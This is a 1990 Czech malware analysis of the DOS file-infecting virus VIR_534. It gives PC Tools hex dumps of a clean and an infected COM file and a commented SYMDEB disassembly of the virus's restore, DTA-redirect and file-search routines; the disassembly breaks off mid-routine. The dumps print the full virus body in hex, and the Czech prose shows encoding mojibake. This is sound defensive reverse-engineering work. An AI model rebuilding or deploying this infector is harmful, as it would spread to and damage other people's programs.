smrnk na konec souboru, vpo‡et offset adresy skoku na vr. +Adresa skoku se vypo‡t  z d‚lky programu T.COM - 3 byte (JMP offset VIR_534). + + - Z pis VIRu_534 na konec souboru - mrtv vr. + + - Nastavit smrnk na za‡ tek souboru. + + - Z pis offset adresy skoku na VIR_534 na za‡ tek souboru - prog. naka‘en. + + - Vr tit p–vodn ‡as vytvo©en souboru. + Nastavit priznak viru - 13.mesic !!!! +Ze z pisnku VIRu_534 jsou vybr ny p–vodn hodnoty ‡asu a datumu vytvo©en +souboru, kter byl infikov n. €as je vr cen v p–vodn hodnot. Hodnota +datumu je zmnna na 13.msc, den a rok z–stavaj bez zmny. + + - Uzav©t soubor. + + - Nastavit adresu DTA pro p©enosy z disku - offset 80H v PSP. + + - Ukon‡en ‡innosti VIRu_534 - start p–vodnho programu T.COM. + + + +Seznam a stru‡n  charakteristika p©loh: +---------------------------------------- + + + +PCTOOLS/1 - Vpis adresa©e diskety. + Obsahuje program: T.COM, d‚lky 4110 byte, dobr program. + Obsahuje program: T534.COM, d‚lky 4644 byte, infik. prog. 13.mesc. + +PCTOOLS/2 - Vpis adres ©e diskety - ROOT sektor. + Obsahuje program: T.COM, dobr program. + Obsahuje program: T534.COM, infikovan program, 13.mesic. + +PCTOOLS/3 - Vpis dobr‚ho programu T.COM - prvn rel. sektor. + +PCTOOLS/4 - Vpis dobr‚ho programu T.COM - posledn rel. sektor. + +PCTOOLS/5 - Vpis infikovan‚ho programu T534.COM - prvn rel. sektror. + Obsahuje dobr program T.COM, kde prvn 3 byte jsou + p©eps ny instrukci skoku na VIR_534. + +PCTOOLS/6 - Vpis infikovan‚ho programu T534.COM - 8. rel. sektor. + Obsahuje ©adn‚ ukon‡en programu T.COM a za‡ tek prog. VIR_534. + +PCTOOLS/7 - Vpis infikovan‚ho programu T534.COM - 8. rel. sektor. + Obsahuje ukon‡en programu V‹Ru_534, jeho z pisnk a DTA. + +PCTOOLS/8 - Vpis infikovan‚ho programu T534.COM - 9. rel. sektor. + Obsahuje konec programu VIRu_534. + + + +SYMDEB/1 - Vpis infikovan‚ho programu T534.COM. + Obsahuje dobr program T.COM, sch‚maticky p©eruØen s adresou + skoku na VIR_534. V dalØm je vypis programu vlastnho VIRu_534 + s jeho z pisnkem a DTA. + +SYMDEB/2 - Vpis infikovan‚ho programu T534.COM. + Obsahuje rozbor ‡innosti programu VIRu_534 s popisem jeho + manipula‡n ‡innosti. + + Priloha: PCTOOLS/1 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +---------------------------------File Functions------------------Scroll Lock OFF +Path=A:\*.* + Name Ext Size #Clu Date Time Attributes + T COM 4110 5 1/01/80 12:59a Normal,Archive + T534 COM 4644 5 13/01/80 12:59a Normal,Archive + + + + + + + + + + + + +|------------------------------------------------------------------------------| +| 2 files LISTed = 8754 bytes. 2 files in sub-dir = 8754 bytes. | +| 0 files SELECTed = 0 bytes. Available on volume = 352256 bytes. | +|------------------------------------------------------------------------------| +| Copy Move cOmp Find Rename Delete Ver view/Edit Attrib Wordp Print List | +|Sort Help =SELECT F1=UNselect F2=alt dir lst F3=other menu Esc=exit PC Tools | +| F8=directory LIST argument F9=file SELECTion argument F10=chg drive/path | +|------------------------------------------------------------------------------| + + + + Priloha: PCTOOLS/2 + ------------------ +PC Tools Deluxe R4.20 +------------------------------Disk View/Edit Service---------------------------- +Path=A: + Absolute sector 0000005, System ROOT + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) 54 20 20 20 20 20 20 20 43 4F 4D 20 00 00 00 00 T COM + 0016(0010) 00 00 00 00 00 00 65 07 21 00 02 00 0E 10 00 00 + 0032(0020) 54 35 33 34 20 20 20 20 43 4F 4D 20 00 00 00 00 T534 COM + 0048(0030) 00 00 00 00 00 00 65 07 A1 01 07 00 24 12 00 00 + 0064(0040) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0080(0050) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0096(0060) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0112(0070) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0128(0080) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0144(0090) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0160(00A0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0176(00B0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0192(00C0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0208(00D0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0224(00E0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0240(00F0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F2=chg sector num F3=edit F4=get name + + + Priloha: PCTOOLS/3 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +------------------------------File View/Edit Service---------------------------- +Path=A:\*.* +File=T.COM Relative sector 0000000, Clust 00002, Disk Abs Sec 0000012 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) 0E 1F BA 0D 01 B4 09 CD 21 B4 4C CD 21 2A 2A 2A *** + 0016(0010) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0032(0020) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0048(0030) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0064(0040) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0080(0050) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0096(0060) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0112(0070) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0128(0080) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0144(0090) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0160(00A0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0176(00B0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0192(00C0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0208(00D0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0224(00E0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0240(00F0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F1=toggle mode F2=chg sector num F3=edit + + + + Priloha: PCTOOLS/4 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +------------------------------File View/Edit Service---------------------------- +Path=A:\*.* +File=T.COM Relative sector 0000008, Clust 00006, Disk Abs Sec 0000020 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 24 00 00 *************$ + 0016(0010) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0032(0020) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0048(0030) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0064(0040) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0080(0050) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0096(0060) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0112(0070) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0128(0080) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0144(0090) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0160(00A0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0176(00B0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0192(00C0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0208(00D0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0224(00E0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0240(00F0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F1=toggle mode F2=chg sector num F3=edit + + + Priloha: PCTOOLS/5 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +------------------------------File View/Edit Service---------------------------- +Path=A:\*.* +File=T534.COM Relative sector 0000000, Clust 00007, Disk Abs Sec 0000022 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) E9 0B 10 0D 01 B4 09 CD 21 B4 4C CD 21 2A 2A 2A *** + 0016(0010) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0032(0020) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0048(0030) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0064(0040) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0080(0050) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0096(0060) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0112(0070) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0128(0080) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0144(0090) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0160(00A0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0176(00B0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0192(00C0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0208(00D0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0224(00E0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + 0240(00F0) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A **************** + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F1=toggle mode F2=chg sector num F3=edit + + + + Priloha: PCTOOLS/6 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +------------------------------File View/Edit Service---------------------------- +Path=A:\*.* +File=T534.COM Relative sector 0000008, Clust 00011, Disk Abs Sec 0000030 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 24 50 BE *************$ + 0016(0010) 73 12 8B D6 81 C6 00 00 FC B9 03 00 BF 00 01 F3 + 0032(0020) A4 8B FA B4 30 CD 21 3C 00 75 03 E9 3F 01 BA 2C + 0048(0030) 00 03 D7 8B DA B4 1A CD 21 BD 00 00 8B D7 81 C2 + 0064(0040) 07 00 B9 03 00 B4 4E CD 21 E9 04 00 B4 4F CD 21 + 0080(0050) 73 15 3C 12 74 03 E9 0D 01 83 FD FF 75 03 E9 05 + 0096(0060) 01 4A BD FF FF EB DB 8B 4F 18 81 E1 E0 01 81 F9 + 0112(0070) A0 01 74 D8 81 7F 1A 00 FA 77 D1 81 7F 1A 00 01 + 0128(0080) 72 CA 57 8B F3 83 C6 1E 81 C7 14 00 83 FD FF 75 + 0144(0090) 03 B0 5C AA AC AA 3C 00 75 FA 5F 8B D7 81 C2 14 + 0160(00A0) 00 B8 00 43 CD 21 89 8D 22 00 81 E1 FE FF 8B D7 + 0176(00B0) 81 C2 14 00 B8 01 43 CD 21 8B D7 81 C2 14 00 B8 + 0192(00C0) 02 3D CD 21 73 03 E9 94 00 8B D8 B8 00 57 CD 21 + 0208(00D0) 89 8D 24 00 89 95 26 00 B4 3F B9 03 00 8B D7 81 + 0224(00E0) C2 00 00 CD 21 73 03 E9 5A 00 3D 03 00 75 55 B8 + 0240(00F0) 02 42 B9 00 00 8B D1 CD 21 2D 03 00 89 85 04 00 + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F1=toggle mode F2=chg sector num F3=edit + + + Priloha: PCTOOLS/7 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +------------------------------File View/Edit Service---------------------------- +Path=A:\*.* +File=T534.COM Relative sector 0000008, Clust 00011, Disk Abs Sec 0000030 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0256(0100) B9 65 01 83 FA 00 75 3C 8B D7 2B F9 83 C7 02 05 + 0272(0110) 03 01 03 C1 89 05 B4 40 8B FA 2B D1 B9 16 02 CD + 0288(0120) 21 73 03 E9 1E 00 3D 16 02 75 19 B8 00 42 B9 00 + 0304(0130) 00 8B D1 CD 21 72 0D B4 40 B9 03 00 8B D7 81 C2 + 0320(0140) 03 00 CD 21 8B 8D 24 00 8B 95 26 00 81 E2 1F FE + 0336(0150) 81 CA A0 01 B8 01 57 CD 21 B4 3E CD 21 B8 00 43 + 0352(0160) 8B 8D 22 00 CD 21 BA 80 00 B4 1A CD 21 58 BF 00 + 0368(0170) 01 57 C3 0E 1F BA E9 0B 10 5C 3F 3F 3F 3F 3F 3F ?????? + 0384(0180) 3F 3F 2E 43 4F 4D 00 54 2E 43 4F 4D 00 2E 43 4F ??.COM T.COM CO + 0400(0190) 4D 00 4D 00 00 20 00 65 07 21 00 00 00 00 00 01 M M + 0416(01A0) 3F 3F 3F 3F 3F 3F 3F 3F 43 4F 4D 03 04 00 00 00 ????????COM + 0432(01B0) 00 00 00 00 20 65 07 21 00 0E 10 00 00 54 2E 43 T.C + 0448(01C0) 4F 4D 00 20 20 4F 4D 00 00 00 6F 73 6F 66 74 79 OM O Mosofty + 0464(01D0) 72 69 67 68 74 20 4D 69 63 72 6F 73 6F 66 74 79 right Microsofty + 0480(01E0) 72 69 67 68 74 20 4D 69 63 72 6F 73 6F 66 74 79 right Microsofty + 0496(01F0) 72 69 67 68 74 20 4D 69 63 72 6F 73 6F 66 74 79 right Microsofty + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F1=toggle mode F2=chg sector num F3=edit + + + + + Priloha: PCTOOLS/8 + ------------------ +PC Tools Deluxe R4.20 Vol Label=None +------------------------------File View/Edit Service---------------------------- +Path=A:\*.* +File=T534.COM Relative sector 0000009, Clust 00011, Disk Abs Sec 0000031 + +Displacement ----------------- Hex codes-------------------- ASCII value + 0000(0000) 72 69 67 68 74 20 4D 69 63 72 6F 73 6F 66 74 79 right Microsofty + 0016(0010) 72 69 67 68 74 20 4D 69 63 72 6F 73 6F 66 74 20 right Microsoft + 0032(0020) 31 39 38 38 00 00 00 00 00 00 00 00 00 00 00 00 1988 + 0048(0030) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0064(0040) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0080(0050) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0096(0060) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0112(0070) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0128(0080) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0144(0090) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0160(00A0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0176(00B0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0192(00C0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0208(00D0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0224(00E0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0240(00F0) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + + Home=beg of file/disk End=end of file/disk + ESC=Exit PgDn=forward PgUp=back F1=toggle mode F2=chg sector num F3=edit + + Priloha: SYMDEB/1 + ----------------- + +AX=0000 BX=0000 CX=1224 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 +DS=156A ES=156A SS=156A CS=156A IP=0100 NV UP EI PL NZ NA PO NC +156A:0100 E90B10 JMP 110E ----------------\ + \ +156A:0103 0D 01 B4 09 CD-21 B4 4C CD 21 2A|2A 2A i....4.M!4LM!*** +156A:0110 2A 2A 2A 2A 2A 2A 2A 2A-2A 2A 2A 2A 2A 2A|2A 2A **************** + : \ + : konec programu T.COM -->| |<-- zacatek VIRu_534 +156A:1100 2A 2A 2A 2A 2A 2A 2A 2A-2A 2A 2A 2A 2A 24 51 BA *************$Q: +---------------------------------------------------| +156A:1110 73 12 8B D6 81 C6 00 00-FC B9 03 00 BF 00 01 F3 s..V.F..|9..?..s +156A:1120 A4 8B FA B4 30 CD 21 3C-00 75 03 E9 3F 01 BA 2C $.z40M!<.u.i?.:, +156A:1130 00 03 D7 8B DA B4 1A CD-21 BD 00 00 8B D7 81 C2 ..W.Z4.M!=...W.B +156A:1140 07 00 B9 03 00 B4 4E CD-21 E9 04 00 B4 4F CD 21 ..9..4NM!i..4OM! +156A:1150 73 15 3C 12 74 03 E9 0D-01 83 FD FF 75 03 E9 05 s.<.t.i...}.u.i. +156A:1160 01 4A BD FF FF EB DB 8B-4F 18 81 E1 E0 01 81 F9 .J=..k[.O..a`..y +156A:1170 A0 01 74 D8 81 7F 1A 00-FA 77 D1 81 7F 1A 00 01 .tX....zwQ..... +156A:1180 72 CA 57 8B F3 83 C6 1E-81 C7 14 00 83 FD FF 75 rJW.s.F..G...}.u +156A:1190 03 B0 5C AA AC AA 3C 00-75 FA 5F 8B D7 81 C2 14 .0\*,*<.uz_.W.B. +156A:11A0 00 B8 00 43 CD 21 89 8D-22 00 81 E1 FE FF 8B D7 .8.CM!.."..a~..W +156A:11B0 81 C2 14 00 B8 01 43 CD-21 8B D7 81 C2 14 00 B8 .B..8.CM!.W.B..8 +156A:11C0 02 3D CD 21 73 03 E9 94-00 8B D8 B8 00 57 CD 21 .=M!s.i...X8.WM! +156A:11D0 89 8D 24 00 89 95 26 00-B4 3F B9 03 00 8B D7 81 ..$...&.4?9...W. +156A:11E0 C2 00 00 CD 21 73 03 E9-5A 00 3D 03 00 75 55 B8 B..M!s.iZ.=..uU8 +156A:11F0 02 42 B9 00 00 8B D1 CD-21 2D 03 00 89 85 04 00 .B9...QM!-...... +156A:1200 B9 65 01 83 FA 00 75 3C-8B D7 2B F9 83 C7 02 05 9e..z.u<.W+y.G.. +156A:1210 03 01 03 C1 89 05 B4 40-8B FA 2B D1 B9 16 02 CD ...A..4@.z+Q9..M +156A:1220 21 73 03 E9 1E 00 3D 16-02 75 19 B8 00 42 B9 00 !s.i..=..u.8.B9. +156A:1230 00 8B D1 CD 21 72 0D B4-40 B9 03 00 8B D7 81 C2 ..QM!r.4@9...W.B +156A:1240 03 00 CD 21 8B 8D 24 00-8B 95 26 00 81 E2 1F FE ..M!..$...&..b.~ +156A:1250 81 CA A0 01 B8 01 57 CD-21 B4 3E CD 21 B8 00 43 .J .8.WM!4>M!8.C +156A:1260 8B 8D 22 00 CD 21 BA 80-00 B4 1A CD 21 58 BF 00 ..".M!:..4.M!X?. +156A:1270 01 57 C3 0E 1F BA E9 0B-10 5C 3F 3F 3F 3F 3F 3F .WC..:i..\?????? +156A:1280 3F 3F 2E 43 4F 4D 00 54-2E 43 4F 4D 00 2E 43 4F ??.COM.T.COM..CO +156A:1290 4D 00 4D 00 00 20 00 65-07 21 00 00 00 00 00 01 M.M.. .e.!...... +156A:12A0 3F 3F 3F 3F 3F 3F 3F 3F-43 4F 4D 03 04 00 00 00 ????????COM..... +156A:12B0 00 00 00 00 20 65 07 21-00 0E 10 00 00 54 2E 43 .... e.!.....T.C +156A:12C0 4F 4D 00 20 20 4F 4D 00-00 00 6F 73 6F 66 74 79 OM. OM...osofty +156A:12D0 72 69 67 68 74 20 4D 69-63 72 6F 73 6F 66 74 79 right Microsofty +156A:12E0 72 69 67 68 74 20 4D 69-63 72 6F 73 6F 66 74 79 right Microsofty +156A:12F0 72 69 67 68 74 20 4D 69-63 72 6F 73 6F 66 74 79 right Microsofty +156A:1300 72 69 67 68 74 20 4D 69-63 72 6F 73 6F 66 74 79 right Microsofty +156A:1310 72 69 67 68 74 20 4D 69-63 72 6F 73 6F 66 74 20 right Microsoft +156A:1320 31 39 38 38 + + + Priloha: SYMDEB/2 + ----------------- +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +;[[ VIR 534 ]] +;[[ 5.5.1990 Ing.Vladimr Matjka ]] +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +; +;Natazeni infikovaneneho programu T534.COM do pameti pocitace, rozbor SYMDEB +AX=0000 BX=0000 CX=1224 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 +DS=156A ES=156A SS=156A CS=156A IP=0100 NV UP EI PL NZ NA PO NC +156A:0100 E90B10 JMP 110E ;skok na VIR_534 + +;------------------------------------------------------------------------------ +; PSP - Program Segment Prefix +;Na adrese 0 v programovem segmentu je vytvoren prefix programoveho segmentu. +;------------------------------------------------------------------------------ +156A:0000 CD 20 00 A0 00 9A F0 FE-1D F0 8E 09 6B 0C 2B 0A M . ..p~.p..k.+. +156A:0010 6B 0C 56 09 6B 0C 5B 0C-01 01 01 00 02 FF FF FF k.V.k.[......... +156A:0020 FF FF FF FF FF FF FF FF-FF FF FF FF 66 15 80 8F ............f... +156A:0030 6B 0C 14 00 18 00 6A 15-FF FF FF FF 00 00 00 00 k.....j......... +156A:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K.......... +156A:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 ..... +156A:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........ +;------------------------------------------------------------------------------ +; DTA - Disk Transfer Area +;DTA je adresa zacatku pameti urcene pro diskove operace (cteni, zapis). +;------------------------------------------------------------------------------ +156A:0080 00 0D 54 35 33 34-2E 43 4F 4D 00 00 00 00 00 00 . T534.COM...... +156A:0090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:00A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:00B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:00C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ +156A:00F0 00 00 00 00 00 00 00 00-00 00 00 EA F1 57 6B 0C ...........jqWk. + +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +;[[ VIR 534 ]] +;[[ Zacatek infikovaneho programu T534.COM ]] +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +;VIR_534 odlozil ze zacatku programu T.COM prvni 3 byte do sveho zapisniku. +;Na toto misto zapsal adresu skoku na vlastni VIR_534, ktery pripojil na konec +;programu T.COM. Po startu infikovaneho programu T534.COM vir nejdrive provede +;opravu prvnich 3 byte programu T.COM. Po realizaci programu viru VIR_534 +;spusti vlastni, jiz neporuseny program T.COM. +; +; Struktura infikovaneho programu T534.COM +; +; |=======================================| +; |----JMP VIR_534 | | +; | |--------------| | +; | | | +; | | Puvodni dobry program T.COM | +; | | | +; | | | +; | |=======================================|==| +; |---> | | +; | VIR_534 | | +; | |+534 byte +; |---------------------------------------| | +; | Zapisnik VIRu_534 | | +; | DTA VIRu_534 | | +; |=======================================|==| +; +;------------------------------------------------------------------------------ +156A:0100 E90B10 JMP 110E ;skok na VIR_534 +;------------------------------------------------------------------------------ +; Dale puvodni dobry program T.COM bez zmen. +;------------------------------------------------------------------------------ +156A:0103 0D 01 B4 09 CD-21 B4 4C CD 21 2A 2A 2A *** +156A:0110 2A 2A 2A 2A 2A 2A 2A 2A-2A 2A 2A 2A 2A 2A 2A 2A **************** + : + : +156A:1100 2A 2A 2A 2A 2A 2A 2A 2A-2A 2A 2A 2A 2A 24 *************$ +; +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +;[[ VIR_534 ]] +;[[ Start infitracniho programu VIR_534 ]] +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] +; +156A:110E 50 PUSH AX ;ulozit obsah pro vystup +; +;------------------------------------------------------------------------------ +; Obnovit puvodni program T.COM - vratit 3 byte na zacatek. +;------------------------------------------------------------------------------ +;Po napadeni programu T.COM je v programu VIR_534 za instrukci MOV SI upravena +;offsetova adresa na zacatek zapisniku programu viru. Tato adresa se vypocte +;podle skutecne delky napadeneho programu (v tomto priklade T.COM). +;Oprava se provadi presunem puvodnich 3 byte [CX] ze zapisniku [DS:SI] (0E1FBA) +;na zacatek napadeneho programu CS:0100 [ES:DI], nyni je zde instrukce pro +;skok na zacatek VIRu_534 (E90B10). +156A:110F BE7312 MOV SI,1273 ;zacatek zapisniku VIRu_534 +156A:1112 8BD6 MOV DX,SI ;zacatek zapisniku +156A:1114 81C60000 ADD SI,0000 ;od [DS:SI] 156A:1273 +156A:1118 FC CLD ;smer prenosu dat +156A:1119 B90300 MOV CX,0003 ;pocet byte +156A:111C BF0001 MOV DI,0100 ;kam [ES:DI] 156A:0100 +156A:111F F3 REPZ ;opakuj v delce [CX] +156A:1120 A4 MOVSB ;obnovit program T.COM +156A:1121 8BFA MOV DI,DX ;zacatek zapisniku + +;------------------------------------------------------------------------------ +; Zjistit verzi DOSu - pro nizsi verzi jak 2.0 - skok na puvodni T.COM. +;------------------------------------------------------------------------------ +156A:1123 B430 MOV AH,30 ;funkce zjisti verzi DOSu +156A:1125 CD21 INT 21 ;sluzba DOSu +156A:1127 3C00 CMP AL,00 ;? verze < 2.00 +156A:1129 7503 JNZ 112E ;ne - pokracuj +156A:112B E93F01 JMP 126D ;ano - ukoncit VIR_534 + +;------------------------------------------------------------------------------ +; Nastavit novou adresu DTA pro prenosy z disku. +;------------------------------------------------------------------------------ +;Implicitni nastaveni adresy DTA je PSP +80H. Pro manipulacni cinnost +;VIRu_534 je tato adresa presmerovana do zapisniku viru na 156A:129F. +156A:112E BA2C00 MOV DX,002C ;pozice DTA v zapisniku +156A:1131 03D7 ADD DX,DI ;zacatek zapisniku VIRu_534 +156A:1133 8BDA MOV BX,DX ;[DS:DX] 156A:129F adresa DTA +156A:1135 B41A MOV AH,1A ;funkce nastav adresu DTA +156A:1137 CD21 INT 21 ;sluzba DOSu + +;------------------------------------------------------------------------------ +; Vyhledat pozadovany soubor *.COM. +;------------------------------------------------------------------------------ +;V tomto bode zacina manipulacni cinnost VIRu_534. +;Program vyhleda prvni soubor odpovidajici specifikace dle smerniku ASCIIZ +;[DS:DX] (????????.COM00) s pozadovanym atributem [CX] = 0003. +; 03 = 0000 0011 +; ||---- soubor jen na cteni RO +; |----- skryty soubor H +;[DS:DX] ukazuje na ASCIIZ retezec ve tvaru "filename.spec00". +;Po vyhledani se napni aktualni oblast DTA +15H (popis v DTA 156A:12B4). +156A:1139 BD0000 MOV BP,0000 ;aktualni adresar +156A:113C 8BD7 MOV DX,DI ;zacatek zapisniku VIRu_534 +156A:113E 81C20700 ADD DX,0007 ;[DS:DX] 156A:127A ASCIIZ +156A:1142 B90300 MOV CX,0003 ;atribit souboru +156A:1145 B44E MOV AH,4E ;funkce najdi 1.soubor +156A:1147 CD21 INT 21 ;sluzba DOSu +156A:1149 E90400 JMP 1150 ;vyhodnotit + +;------------------------------------------------------------------------------ +; Vyhledat dalsi zodpovidajici soubor. +;------------------------------------------------------------------------------ +;Tato sluzba najde nasledujici polozku adresare, ktera zodpovida specifikaci +;souboru ASCIIZ [DS:DX] z prvniho volani. +156A:114C B44F MOV AH,4F ;funkce najdi dalsi soubor +156A:114E CD21 INT 21 ;sluzba DOSu +;Pokracuje po vyhledani souboru *.COM , pokud JNB -> nasel +156A:1150 7315 JNB 1167 ;OK nasel - pokracuj +;Rozbor chyby. +156A:1152 3C12 CMP AL,12 ;chyba neplatny pristupovy kod +156A:1154 7403 JZ 1159 ;ano - nastav 